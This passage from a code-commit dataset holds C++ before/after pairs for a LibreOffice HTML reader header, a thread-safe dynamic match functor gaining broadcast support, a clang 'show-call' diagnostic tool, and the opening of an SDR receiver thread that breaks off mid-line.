m_nColumnWidth;     \/\/ max. Spaltenbreite\n        sal_Bool            m_bMetaOptions;     \/\/ true when we scaned the meta information\n        sal_Bool            m_bSDNum;\n    protected:\n        virtual void        NextToken( int nToken ); \/\/ Basisklasse\n        virtual sal_Bool    CreateTable(int nToken);\n\n        \/** createPage creates the tabpage for this type\n            @param  _pParent    teh parent window\n        *\/\n        virtual OWizTypeSelect* createPage(Window* _pParent);\n\n        void                TableDataOn(SvxCellHorJustify& eVal,String *pValue,int nToken);\n        void                TableFontOn(::com::sun::star::awt::FontDescriptor& _rFont,sal_Int32 &_rTextColor);\n        sal_Int16           GetWidthPixel( const HTMLOption* pOption );\n        rtl_TextEncoding    GetEncodingByMIME( const String& rMime );\n        void                setTextEncoding();\n        ~OHTMLReader();\n    public:\n        OHTMLReader(SvStream& rIn,\n                    const ::com::sun::star::uno::Reference< ::com::sun::star::sdbc::XConnection >& _rxConnection,\n                    const ::com::sun::star::uno::Reference< ::com::sun::star::util::XNumberFormatter >& _rxNumberF,\n                    const ::com::sun::star::uno::Reference< ::com::sun::star::lang::XMultiServiceFactory >& _rM,\n                    const TColumnVector* rList = 0,\n                    const OTypeInfoMap* _pInfoMap = 0);\n        \/\/ wird f\"ur auto. Typ-Erkennung gebraucht\n        OHTMLReader(SvStream& rIn,\n                    sal_Int32 nRows,\n                    const TPositions &_rColumnPositions,\n                    const ::com::sun::star::uno::Reference< ::com::sun::star::util::XNumberFormatter >& _rxNumberF,\n                    const ::com::sun::star::uno::Reference< ::com::sun::star::lang::XMultiServiceFactory >& _rM,\n                    const TColumnVector* rList = 0,\n                    const OTypeInfoMap* _pInfoMap = 0);\n\n        virtual     SvParserState CallParser();\/\/ Basisklasse\n        virtual     void          release();\n        \/\/ birgt nur korrekte Daten, wenn der 2. CTOR benutzt wurde\n    };\n\n    SV_DECL_IMPL_REF( OHTMLReader );\n}\n#endif \/\/ DBAUI_HTMLREADER_HXX\n\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/==================================================\n\/\/ Copyright (c) 2015 Deividas Kazlauskas\n\/\/\n\/\/ See the file license.txt for copying permission.\n\/\/==================================================\n\n#ifndef DYNAMICVIRTUALMATCHFUNCTOR_8CHO77L5\n#define DYNAMICVIRTUALMATCHFUNCTOR_8CHO77L5\n\n#include <functional>\n#include <memory>\n#include <vector>\n#include <mutex>\n#include <algorithm>\n\n#include <templatious\/util\/Exceptions.hpp>\n#include <templatious\/detail\/VirtualMatchFunctor.hpp>\n\nnamespace templatious {\n\nTEMPLATIOUS_BOILERPLATE_EXCEPTION(\n    DynamicVMatchFunctorNoIdToRemoveException,\n    \"Couldn't find the specified id to remove.\" );\n\n\/**\n * Dynamic virtual match functor. This class can attach\n * VirtualMatchFunctors for processing with default\n * or custom priority. Threadsafe to attach\/detach\n * and match virtual packs.\n *\/\nstruct DynamicVMatchFunctor : public VirtualMatchFunctor {\n    DynamicVMatchFunctor(bool isBroadcast = false) :\n        _isBroadcast(isBroadcast), _idCount(0) {}\n\n    DynamicVMatchFunctor(const DynamicVMatchFunctor&) = delete;\n\n    DynamicVMatchFunctor(DynamicVMatchFunctor&& d) :\n        _idCount(d._idCount)\n    {\n        d.swapTo(*this);\n    }\n\n    \/**\n     * Attach virtual match functor to the processing queue.\n     * Returns the id of attached functor to possibly refer\n     * to it in the future. Threadsafe.\n     * @param[in] vmf unique pointer to a VirtualMatchFunctor\n     * to attach.\n     * @param[in] priority Priority to set for processing.\n     * Match functors with higher priority are processed earlier\n     * than the ones with lower priority. Defaults to 128.\n     *\/\n    int attach(std::unique_ptr<VirtualMatchFunctor> vmf,int priority = 128) {\n        LockGuard l(_mtx);\n\n        int offset = _fctors.size();\n        int id = _idCount++;\n        _fctors.push_back(std::move(vmf));\n        _queue.push_back(QueueUnit(id,offset,priority));\n        std::sort( _queue.begin(), _queue.end(),\n            [](const QueueUnit& a,const QueueUnit& b) {\n                return a._priority > b._priority;\n            });\n\n        return id;\n    }\n\n    \/**\n     * Detach virtual match functor with the specified id\n     * and return it to the caller wrapped around\n     * std::unique_ptr. Throws if no such id exists. Threadsafe.\n     * @param[in] id The id of a functor to return.\n     *\/\n    std::unique_ptr<VirtualMatchFunctor> detach(int id) {\n        LockGuard l(_mtx);\n\n        \/\/ it breaks my heart to write boilerplates\n        \/\/ now, but, I'd rather this be standalone\n        \/\/ class than be dependant on the entire\n        \/\/ ecosystem of templatious\n        auto end = _queue.end();\n        auto i = _queue.begin();\n        for (; i != end; ++i) {\n            if (i->_id == id) {\n                break;\n            }\n        }\n\n        if (i == end) {\n            throw DynamicVMatchFunctorNoIdToRemoveException();\n        }\n\n        QueueUnit qu = *i;\n        _queue.erase(i);\n\n        i = _queue.begin();\n        end = _queue.end();\n        \/\/ adjust for removal\n        for (; i != end; ++i) {\n            if (i->_offset > qu._offset) {\n                --i->_offset;\n            }\n        }\n\n        auto fIter = _fctors.begin() + qu._offset;\n        ValueType result = std::move(*fIter);\n        _fctors.erase(fIter);\n        return std::move(result);\n    }\n\n    \/**\n     * Clear all the existing VMatch functors. Threadsafe.\n     *\/\n    void clear() {\n        LockGuard l(_mtx);\n        _fctors.clear();\n        _queue.clear();\n    }\n\n    \/**\n     * Try to match virtual pack to this match functor.\n     * Only one pack can be processed at a time by\n     * multiple threads.\n     * @param[in] vp VirtualPack to match.\n     *\/\n    bool tryMatch(VirtualPack& vp) override {\n        LockGuard l(_mtx);\n\n        auto end = _queue.end();\n        for (auto i = _queue.begin(); i != end; ++i) {\n            auto& curr = _fctors[i->_offset];\n            if (curr->tryMatch(vp)) {\n                return true;\n            }\n        }\n        return false;\n    }\n\n    \/**\n     * Try to match virtual pack to this match functor.\n     * Only one pack can be processed at a time by\n     * multiple threads.\n     * @param[in] vp VirtualPack to match.\n     *\/\n    bool tryMatch(VirtualPack& vp) const override {\n        LockGuard l(_mtx);\n\n        auto end = _queue.end();\n        for (auto i = _queue.begin(); i != end; ++i) {\n            auto& curr = _fctors[i->_offset];\n            if (curr->tryMatch(vp)) {\n                return true;\n            }\n        }\n        return false;\n    }\n\n    \/**\n     * Try to match virtual pack to this match functor.\n     * Only one pack can be processed at a time by\n     * multiple threads.\n     * @param[in] vp VirtualPack to match.\n     *\/\n    bool tryMatch(const VirtualPack& vp) override {\n        LockGuard l(_mtx);\n\n        auto end = _queue.end();\n        for (auto i = _queue.begin(); i != end; ++i) {\n            auto& curr = _fctors[i->_offset];\n            if (curr->tryMatch(vp)) {\n                return true;\n            }\n        }\n        return false;\n    }\n\n    \/**\n     * Try to match virtual pack to this match functor.\n     * Only one pack can be processed at a time by\n     * multiple threads.\n     * @param[in] vp VirtualPack to match.\n     *\/\n    bool tryMatch(const VirtualPack& vp) const override {\n        LockGuard l(_mtx);\n\n        auto end = _queue.cend();\n        for (auto i = _queue.cbegin(); i != end; ++i) {\n            auto& curr = _fctors[i->_offset];\n            if (curr->tryMatch(vp)) {\n                return true;\n            }\n        }\n        return false;\n    }\nprivate:\n    struct QueueUnit {\n        QueueUnit(int id,int offset,int priority) :\n            _id(id), _offset(offset), _priority(priority) {}\n\n        int _id;\n        int _offset;\n        int _priority;\n    };\n\n    void swapTo(DynamicVMatchFunctor& other) {\n        LockGuard l(_mtx);\n        other._fctors = std::move(_fctors);\n        other._queue = std::move(_queue);\n    }\n\n    typedef std::unique_ptr< VirtualMatchFunctor > ValueType;\n    typedef std::lock_guard< std::mutex > LockGuard;\n    mutable std::mutex _mtx;\n    bool _isBroadcast;\n    int _idCount;\n    std::vector< ValueType > _fctors;\n    std::vector< QueueUnit > _queue;\n};\n\n}\n\n#endif \/* end of include guard: DYNAMICVIRTUALMATCHFUNCTOR_8CHO77L5 *\/\n<commit_msg>the dyn fctor<commit_after>\/\/==================================================\n\/\/ Copyright (c) 2015 Deividas Kazlauskas\n\/\/\n\/\/ See the file license.txt for copying permission.\n\/\/==================================================\n\n#ifndef DYNAMICVIRTUALMATCHFUNCTOR_8CHO77L5\n#define DYNAMICVIRTUALMATCHFUNCTOR_8CHO77L5\n\n#include <functional>\n#include <memory>\n#include <vector>\n#include <mutex>\n#include <algorithm>\n\n#include <templatious\/util\/Exceptions.hpp>\n#include <templatious\/detail\/VirtualMatchFunctor.hpp>\n\nnamespace templatious {\n\nTEMPLATIOUS_BOILERPLATE_EXCEPTION(\n    DynamicVMatchFunctorNoIdToRemoveException,\n    \"Couldn't find the specified id to remove.\" );\n\n\/**\n * Dynamic virtual match functor. This class can attach\n * VirtualMatchFunctors for processing with default\n * or custom priority. Threadsafe to attach\/detach\n * and match virtual packs.\n *\/\nstruct DynamicVMatchFunctor : public VirtualMatchFunctor {\n    DynamicVMatchFunctor(bool isBroadcast = false) :\n        _isBroadcast(isBroadcast), _idCount(0) {}\n\n    DynamicVMatchFunctor(const DynamicVMatchFunctor&) = delete;\n\n    DynamicVMatchFunctor(DynamicVMatchFunctor&& d) :\n        _idCount(d._idCount)\n    {\n        d.swapTo(*this);\n    }\n\n    \/**\n     * Attach virtual match functor to the processing queue.\n     * Returns the id of attached functor to possibly refer\n     * to it in the future. Threadsafe.\n     * @param[in] vmf unique pointer to a VirtualMatchFunctor\n     * to attach.\n     * @param[in] priority Priority to set for processing.\n     * Match functors with higher priority are processed earlier\n     * than the ones with lower priority. Defaults to 128.\n     *\/\n    int attach(std::unique_ptr<VirtualMatchFunctor> vmf,int priority = 128) {\n        LockGuard l(_mtx);\n\n        int offset = _fctors.size();\n        int id = _idCount++;\n        _fctors.push_back(std::move(vmf));\n        _queue.push_back(QueueUnit(id,offset,priority));\n        std::sort( _queue.begin(), _queue.end(),\n            [](const QueueUnit& a,const QueueUnit& b) {\n                return a._priority > b._priority;\n            });\n\n        return id;\n    }\n\n    \/**\n     * Detach virtual match functor with the specified id\n     * and return it to the caller wrapped around\n     * std::unique_ptr. Throws if no such id exists. Threadsafe.\n     * @param[in] id The id of a functor to return.\n     *\/\n    std::unique_ptr<VirtualMatchFunctor> detach(int id) {\n        LockGuard l(_mtx);\n\n        \/\/ it breaks my heart to write boilerplates\n        \/\/ now, but, I'd rather this be standalone\n        \/\/ class than be dependant on the entire\n        \/\/ ecosystem of templatious\n        auto end = _queue.end();\n        auto i = _queue.begin();\n        for (; i != end; ++i) {\n            if (i->_id == id) {\n                break;\n            }\n        }\n\n        if (i == end) {\n            throw DynamicVMatchFunctorNoIdToRemoveException();\n        }\n\n        QueueUnit qu = *i;\n        _queue.erase(i);\n\n        i = _queue.begin();\n        end = _queue.end();\n        \/\/ adjust for removal\n        for (; i != end; ++i) {\n            if (i->_offset > qu._offset) {\n                --i->_offset;\n            }\n        }\n\n        auto fIter = _fctors.begin() + qu._offset;\n        ValueType result = std::move(*fIter);\n        _fctors.erase(fIter);\n        return std::move(result);\n    }\n\n    \/**\n     * Clear all the existing VMatch functors. Threadsafe.\n     *\/\n    void clear() {\n        LockGuard l(_mtx);\n        _fctors.clear();\n        _queue.clear();\n    }\n\n    \/**\n     * Try to match virtual pack to this match functor.\n     * Only one pack can be processed at a time by\n     * multiple threads.\n     * @param[in] vp VirtualPack to match.\n     *\/\n    bool tryMatch(VirtualPack& vp) override {\n        LockGuard l(_mtx);\n\n        auto end = _queue.end();\n        bool matched = false;\n        for (auto i = _queue.begin(); i != end; ++i) {\n            auto& curr = _fctors[i->_offset];\n            matched |= curr->tryMatch(vp);\n            if (matched && !_isBroadcast) {\n                return true;\n            }\n        }\n        return matched;\n    }\n\n    \/**\n     * Try to match virtual pack to this match functor.\n     * Only one pack can be processed at a time by\n     * multiple threads.\n     * @param[in] vp VirtualPack to match.\n     *\/\n    bool tryMatch(VirtualPack& vp) const override {\n        LockGuard l(_mtx);\n\n        auto end = _queue.end();\n        bool matched = false;\n        for (auto i = _queue.begin(); i != end; ++i) {\n            auto& curr = _fctors[i->_offset];\n            matched |= curr->tryMatch(vp);\n            if (matched && !_isBroadcast) {\n                return true;\n            }\n        }\n        return matched;\n    }\n\n    \/**\n     * Try to match virtual pack to this match functor.\n     * Only one pack can be processed at a time by\n     * multiple threads.\n     * @param[in] vp VirtualPack to match.\n     *\/\n    bool tryMatch(const VirtualPack& vp) override {\n        LockGuard l(_mtx);\n\n        auto end = _queue.end();\n        bool matched = false;\n        for (auto i = _queue.begin(); i != end; ++i) {\n            auto& curr = _fctors[i->_offset];\n            matched |= curr->tryMatch(vp);\n            if (matched && !_isBroadcast) {\n                return true;\n            }\n        }\n        return matched;\n    }\n\n    \/**\n     * Try to match virtual pack to this match functor.\n     * Only one pack can be processed at a time by\n     * multiple threads.\n     * @param[in] vp VirtualPack to match.\n     *\/\n    bool tryMatch(const VirtualPack& vp) const override {\n        LockGuard l(_mtx);\n\n        auto end = _queue.cend();\n        bool matched = false;\n        for (auto i = _queue.cbegin(); i != end; ++i) {\n            auto& curr = _fctors[i->_offset];\n            matched |= curr->tryMatch(vp);\n            if (matched && !_isBroadcast) {\n                return true;\n            }\n        }\n        return matched;\n    }\nprivate:\n    struct QueueUnit {\n        QueueUnit(int id,int offset,int priority) :\n            _id(id), _offset(offset), _priority(priority) {}\n\n        int _id;\n        int _offset;\n        int _priority;\n    };\n\n    void swapTo(DynamicVMatchFunctor& other) {\n        LockGuard l(_mtx);\n        other._fctors = std::move(_fctors);\n        other._queue = std::move(_queue);\n    }\n\n    typedef std::unique_ptr< VirtualMatchFunctor > ValueType;\n    typedef std::lock_guard< std::mutex > LockGuard;\n    mutable std::mutex _mtx;\n    bool _isBroadcast;\n    int _idCount;\n    std::vector< ValueType > _fctors;\n    std::vector< QueueUnit > _queue;\n};\n\n}\n\n#endif \/* end of include guard: DYNAMICVIRTUALMATCHFUNCTOR_8CHO77L5 *\/\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Display how the compiler resolved lookup and overload of specific function\n\/\/\n\/\/  Usage:\n\/\/  show-call <cmake-output-dir> <file1> <file2> ...\n\/\/\n\/\/  Where <cmake-output-dir> is a CMake build directory in which a file named\n\/\/  compile_commands.json exists (enable -DCMAKE_EXPORT_COMPILE_COMMANDS in\n\/\/  CMake to get this output).\n\/\/\n\/\/  <file1> ... specify the paths of files in the CMake source tree. This path\n\/\/  is looked up in the compile command database. If the path of a file is\n\/\/  absolute, it needs to point into CMake's source tree. If the path is\n\/\/  relative, the current working directory needs to be in the CMake source\n\/\/  tree and the file must be in a subdirectory of the current working\n\/\/  directory. \".\/\" prefixes in the relative files will be automatically\n\/\/  removed, but the rest of a relative path must be a suffix of a path in\n\/\/  the compile command line database.\n\/\/\n\/\/  For example, to use show-call on all files in a subtree of the\n\/\/  source tree, use:\n\/\/\n\/\/    \/path\/in\/subtree $ find . -name '*.cpp'|\n\/\/        xargs show-call \/path\/to\/build\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"clang\/ASTMatchers\/ASTMatchers.h\"\n#include \"clang\/ASTMatchers\/ASTMatchFinder.h\"\n#include \"clang\/Basic\/Diagnostic.h\"\n#include \"clang\/Basic\/SourceManager.h\"\n#include \"clang\/Frontend\/FrontendActions.h\"\n#include \"clang\/Lex\/Lexer.h\"\n#include \"clang\/Tooling\/CompilationDatabase.h\"\n#include \"clang\/Tooling\/Refactoring.h\"\n#include \"clang\/Tooling\/Tooling.h\"\n#include \"llvm\/Support\/CommandLine.h\"\n#include \"llvm\/Support\/MemoryBuffer.h\"\n#include \"llvm\/Support\/Signals.h\"\n\nusing namespace clang;\nusing namespace clang::ast_matchers;\nusing namespace clang::tooling;\nusing namespace llvm;\n\n\/\/ Set up the command line options\ncl::opt<std::string> BuildPath(\n  cl::Positional,\n  cl::desc(\"<build-path>\"));\n\ncl::list<std::string> SourcePaths(\n  cl::Positional,\n  cl::desc(\"<source0> [... <sourceN>]\"),\n  cl::OneOrMore);\n\ncl::opt<unsigned> CallAtLine(\n  \"call-at-line\",\n  cl::desc(\"Only display call(s) at this line\"),\n  cl::init(0));\n\nnamespace {\nvoid dumpCallInfo(const char *CallKind, const SourceManager &SM, const CallExpr *call) {\n\n  const SourceLocation Loc = call->getLocStart();\n  std::pair<FileID, unsigned> LocInfo = SM.getDecomposedLoc(Loc);\n  FileID FID = LocInfo.first;\n  unsigned FileOffset = LocInfo.second;\n\n  unsigned LineNumber = SM.getLineNumber(FID, FileOffset);\n\n  if (LineNumber != CallAtLine && CallAtLine != 0)\n    return;\n\n  errs() << \"\\n=================================\\n\"\n         << CallKind << \" call\"\n         << \" (File:\" << SM.getFilename(Loc)\n         << \" Line:\" << LineNumber\n         << \" Col:\" << SM.getColumnNumber(FID, FileOffset) << \")\"\n         << \"\\n---------------------------------\\n\";\n\n  errs() << \"Call site:\\n\";\n  call->dump();\n\n  errs() << \"\\nCalled function: \";\n  const FunctionDecl *FD = cast<FunctionDecl>(call->getCalleeDecl());\n  FD->printQualifiedName(errs());\n\n  SplitQualType T_split = FD->getType().split();\n  errs() << ' ' << QualType::getAsString(T_split);\n\n  if (FD->isDefaulted()) {\n    errs() << \" (defaulted)\\n\";\n  } else {\n    const SourceLocation DLoc = FD->getLocStart();\n    std::pair<FileID, unsigned> DLocInfo = SM.getDecomposedLoc(DLoc);\n    FileID DFID = DLocInfo.first;\n    unsigned DFileOffset = DLocInfo.second;\n    errs() << \" declared at \" << SM.getFilename(DLoc) << ':'\n           << SM.getLineNumber(DFID, DFileOffset) << '\\n';\n  }\n}\n\nclass SCCallBack : public MatchFinder::MatchCallback {\npublic:\n  SCCallBack(Replacements *Replace) : Replace(Replace) { }\n\n  virtual void run(const MatchFinder::MatchResult &Result) {\n    SourceManager &SM = *Result.SourceManager;\n\n    if (const CallExpr *call =\n            Result.Nodes.getNodeAs<CallExpr>(\"call\")) {\n\n      const char *callKind = \"Function\";\n\n      if (isa<CXXMemberCallExpr>(call))\n        callKind = \"Member\";\n      else if (isa<CXXOperatorCallExpr>(call))\n        callKind = \"Operator\";\n\n      dumpCallInfo(callKind, SM, call);\n\n      return;\n    }\n\n    assert(false && \"Unhandled match !\");\n  }\n\n  void dummy() {\n    (void)Replace; \/\/ This to prevent an \"unused member variable\" warning;\n  }\n\nprivate:\n  Replacements *Replace;\n};\n} \/\/ end anonymous namespace\n\nint main(int argc, const char **argv) {\n  llvm::sys::PrintStackTraceOnErrorSignal();\n\n  std::unique_ptr<CompilationDatabase> Compilations(\n      FixedCompilationDatabase::loadFromCommandLine(argc, argv));\n\n  cl::ParseCommandLineOptions(argc, argv);\n\n  if (!Compilations) { \/\/ Couldn't find a compilation DB from the command line\n    std::string ErrorMessage;\n    Compilations.reset(!BuildPath.empty()\n                           ? CompilationDatabase::autoDetectFromDirectory(\n                                 BuildPath, ErrorMessage)\n                           : CompilationDatabase::autoDetectFromSource(\n                                 SourcePaths[0], ErrorMessage));\n\n    \/\/  Still no compilation DB? - bail.\n    if (!Compilations)\n      llvm::report_fatal_error(ErrorMessage);\n  }\n\n  RefactoringTool Tool(*Compilations, SourcePaths);\n  ast_matchers::MatchFinder Finder;\n  SCCallBack Callback(&Tool.getReplacements());\n\n  Finder.addMatcher(callExpr().bind(\"call\"), &Callback);\n  \/\/Finder.addMatcher(\n  \/\/    callExpr(callee(methodDecl(hasName(\"operator=\")))).bind(\"call\"),\n  \/\/    &Callback);\n  \/\/Finder.addMatcher(\n  \/\/    memberCallExpr(on(hasType(asString(\"N::C *\"))),\n  \/\/                   callee(methodDecl(hasName(\"f\")))).bind(\"call\"),\n  \/\/    &Callback);\n\n  return Tool.run(newFrontendActionFactory(&Finder).get());\n}\n<commit_msg>Improve cosmetic of the callee dump<commit_after>\/\/ Display how the compiler resolved lookup and overload of specific function\n\/\/\n\/\/  Usage:\n\/\/  show-call <cmake-output-dir> <file1> <file2> ...\n\/\/\n\/\/  Where <cmake-output-dir> is a CMake build directory in which a file named\n\/\/  compile_commands.json exists (enable -DCMAKE_EXPORT_COMPILE_COMMANDS in\n\/\/  CMake to get this output).\n\/\/\n\/\/  <file1> ... specify the paths of files in the CMake source tree. This path\n\/\/  is looked up in the compile command database. If the path of a file is\n\/\/  absolute, it needs to point into CMake's source tree. If the path is\n\/\/  relative, the current working directory needs to be in the CMake source\n\/\/  tree and the file must be in a subdirectory of the current working\n\/\/  directory. \".\/\" prefixes in the relative files will be automatically\n\/\/  removed, but the rest of a relative path must be a suffix of a path in\n\/\/  the compile command line database.\n\/\/\n\/\/  For example, to use show-call on all files in a subtree of the\n\/\/  source tree, use:\n\/\/\n\/\/    \/path\/in\/subtree $ find . -name '*.cpp'|\n\/\/        xargs show-call \/path\/to\/build\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"clang\/ASTMatchers\/ASTMatchers.h\"\n#include \"clang\/ASTMatchers\/ASTMatchFinder.h\"\n#include \"clang\/Basic\/Diagnostic.h\"\n#include \"clang\/Basic\/SourceManager.h\"\n#include \"clang\/Frontend\/FrontendActions.h\"\n#include \"clang\/Lex\/Lexer.h\"\n#include \"clang\/Tooling\/CompilationDatabase.h\"\n#include \"clang\/Tooling\/Refactoring.h\"\n#include \"clang\/Tooling\/Tooling.h\"\n#include \"llvm\/Support\/CommandLine.h\"\n#include \"llvm\/Support\/MemoryBuffer.h\"\n#include \"llvm\/Support\/Signals.h\"\n\nusing namespace clang;\nusing namespace clang::ast_matchers;\nusing namespace clang::tooling;\nusing namespace llvm;\n\n\/\/ Set up the command line options\ncl::opt<std::string> BuildPath(\n  cl::Positional,\n  cl::desc(\"<build-path>\"));\n\ncl::list<std::string> SourcePaths(\n  cl::Positional,\n  cl::desc(\"<source0> [... <sourceN>]\"),\n  cl::OneOrMore);\n\ncl::opt<unsigned> CallAtLine(\n  \"call-at-line\",\n  cl::desc(\"Only display call(s) at this line\"),\n  cl::init(0));\n\nnamespace {\nvoid dumpCallInfo(const char *CallKind, const SourceManager &SM, const CallExpr *call) {\n\n  const SourceLocation Loc = call->getLocStart();\n  std::pair<FileID, unsigned> LocInfo = SM.getDecomposedLoc(Loc);\n  FileID FID = LocInfo.first;\n  unsigned FileOffset = LocInfo.second;\n\n  unsigned LineNumber = SM.getLineNumber(FID, FileOffset);\n\n  if (LineNumber != CallAtLine && CallAtLine != 0)\n    return;\n\n  errs() << \"\\n=================================\\n\"\n         << CallKind << \" call\"\n         << \" (File:\" << SM.getFilename(Loc)\n         << \" Line:\" << LineNumber\n         << \" Col:\" << SM.getColumnNumber(FID, FileOffset) << \")\"\n         << \"\\n---------------------------------\\n\";\n\n  errs() << \"Call site:\\n\";\n  call->dump();\n\n  errs() << \"\\nCallee:\\n\";\n  const FunctionDecl *FD = cast<FunctionDecl>(call->getCalleeDecl());\n  FD->printQualifiedName(errs());\n\n  SplitQualType T_split = FD->getType().split();\n  errs() << \" with prototype \\\"\" << QualType::getAsString(T_split) << '\"';\n\n  if (FD->isDefaulted()) {\n    errs() << \" (defaulted)\\n\";\n  } else {\n    const SourceLocation DLoc = FD->getLocStart();\n    std::pair<FileID, unsigned> DLocInfo = SM.getDecomposedLoc(DLoc);\n    FileID DFID = DLocInfo.first;\n    unsigned DFileOffset = DLocInfo.second;\n    errs() << \" declared at \" << SM.getFilename(DLoc) << ':'\n           << SM.getLineNumber(DFID, DFileOffset) << '\\n';\n  }\n}\n\nclass SCCallBack : public MatchFinder::MatchCallback {\npublic:\n  SCCallBack(Replacements *Replace) : Replace(Replace) { }\n\n  virtual void run(const MatchFinder::MatchResult &Result) {\n    SourceManager &SM = *Result.SourceManager;\n\n    if (const CallExpr *call =\n            Result.Nodes.getNodeAs<CallExpr>(\"call\")) {\n\n      const char *callKind = \"Function\";\n\n      if (isa<CXXMemberCallExpr>(call))\n        callKind = \"Member\";\n      else if (isa<CXXOperatorCallExpr>(call))\n        callKind = \"Operator\";\n\n      dumpCallInfo(callKind, SM, call);\n\n      return;\n    }\n\n    assert(false && \"Unhandled match !\");\n  }\n\n  void dummy() {\n    (void)Replace; \/\/ This to prevent an \"unused member variable\" warning;\n  }\n\nprivate:\n  Replacements *Replace;\n};\n} \/\/ end anonymous namespace\n\nint main(int argc, const char **argv) {\n  llvm::sys::PrintStackTraceOnErrorSignal();\n\n  std::unique_ptr<CompilationDatabase> Compilations(\n      FixedCompilationDatabase::loadFromCommandLine(argc, argv));\n\n  cl::ParseCommandLineOptions(argc, argv);\n\n  if (!Compilations) { \/\/ Couldn't find a compilation DB from the command line\n    std::string ErrorMessage;\n    Compilations.reset(!BuildPath.empty()\n                           ? CompilationDatabase::autoDetectFromDirectory(\n                                 BuildPath, ErrorMessage)\n                           : CompilationDatabase::autoDetectFromSource(\n                                 SourcePaths[0], ErrorMessage));\n\n    \/\/  Still no compilation DB? - bail.\n    if (!Compilations)\n      llvm::report_fatal_error(ErrorMessage);\n  }\n\n  RefactoringTool Tool(*Compilations, SourcePaths);\n  ast_matchers::MatchFinder Finder;\n  SCCallBack Callback(&Tool.getReplacements());\n\n  Finder.addMatcher(callExpr().bind(\"call\"), &Callback);\n  \/\/Finder.addMatcher(\n  \/\/    callExpr(callee(methodDecl(hasName(\"operator=\")))).bind(\"call\"),\n  \/\/    &Callback);\n  \/\/Finder.addMatcher(\n  \/\/    memberCallExpr(on(hasType(asString(\"N::C *\"))),\n  \/\/                   callee(methodDecl(hasName(\"f\")))).bind(\"call\"),\n  \/\/    &Callback);\n\n  return Tool.run(newFrontendActionFactory(&Finder).get());\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Main SDR sequencer thread\n *\n * This file is part of softrig, a simple software defined radio transceiver.\n *\n * Copyright 2017 Alexandru Csete OZ9AEC.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice,\n *    this list of conditions and the following disclaimer.\n *\n * 2. Redistributions in binary form must reproduce the above copyright notice,\n *    this list of conditions and the following disclaimer in the documentation\n *    and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n#include <QThread>\n\n#include \"interfaces\/audio_output.h\"\n#include \"nanosdr\/common\/datatypes.h\"\n#include \"nanosdr\/common\/sdr_data.h\"\n#include \"nanosdr\/common\/time.h\"\n#include \"nanosdr\/interfaces\/sdr_device.h\"\n#include \"nanosdr\/fft_thread.h\"\n#include \"nanosdr\/receiver.h\"\n#include \"sdr_thread.h\"\n\n#if 1\n#define __STDC_FORMAT_MACROS\n#include <inttypes.h>\n#include <stdio.h>\n#define SDR_THREAD_DEBUG(...) fprintf(stderr, __VA_ARGS__)\n#else\n#define SDR_THREAD_DEBUG(...)\n#endif\n\nSdrThread::SdrThread(QObject *parent) : QObject(parent)\n{\n    is_running = false;\n    buflen = 30720;            \/\/ 20 msec @ 1.536 Msps\n\n    sdr_dev = 0;\n    rx = 0;\n    fft_data_buf = 0;\n    fft_swap_buf = 0;\n    input_samples = 0;\n    output_samples = 0;\n    aout_buffer = 0;\n    resetStats();\n\n    audio_out.init();\n\n    fft = new FftThread();\n    fft->init(FFT_SIZE, 20);\n\n    thread = new QThread();\n    moveToThread(thread);\n    connect(thread, SIGNAL(started()), this, SLOT(process()));\n    connect(thread, SIGNAL(finished()), this, SLOT(thread_finished()));\n    thread->setObjectName(\"SoftrigSdrThread\\n\");\n    thread->start();\n}\n\nSdrThread::~SdrThread()\n{\n    if (is_running)\n        stop();\n\n    thread->requestInterruption();\n    thread->quit();\n    thread->wait(10000);\n    delete thread;\n\n    delete fft;\n}\n\nint SdrThread::start(void)\n{\n    if (is_running)\n        return SDR_THREAD_OK;\n\n    SDR_THREAD_DEBUG(\"Starting SDR thread...\\n\");\n\n    sdr_dev = sdr_device_create_rtlsdr();\n    if (sdr_dev->init(1536000, \"\") != SDR_DEVICE_OK)\n    {\n        \/\/ FIXME: Emit error string\n        return SDR_THREAD_EDEV;\n    }\n    sdr_dev->set_gain(SDR_DEVICE_RX_LNA_GAIN, 70);\n\n    rx = new Receiver();\n    rx->init(1536000, 48000, 100, buflen);\n\n    is_running = true;\n\n    resetStats();\n    sdr_dev->start();\n    fft->start();\n    audio_out.start();\n\n    return SDR_THREAD_OK;\n}\n\nvoid SdrThread::stop(void)\n{\n    if (!is_running)\n        return;\n\n    SDR_THREAD_DEBUG(\"Stopping SDR thread...\\n\");\n\n    stats.tstop = time_ms();\n    \/* *INDENT-OFF* *\/\n    SDR_THREAD_DEBUG(\"Receiver statistics:\\n\"\n                     \"  Time: %\" PRIu64 \" ms\\n\"\n                     \"  Samples in:  %\" PRIu64 \" samples = %\" PRIu64 \" sps\\n\"\n                     \"  Samples out: %\" PRIu64 \" samples = %\" PRIu64 \" sps\\n\",\n                     stats.tstop - stats.tstart,\n                     stats.samples_in,\n                     (1000 * stats.samples_in) \/ (stats.tstop - stats.tstart),\n                     stats.samples_out,\n                     (1000 * stats.samples_out) 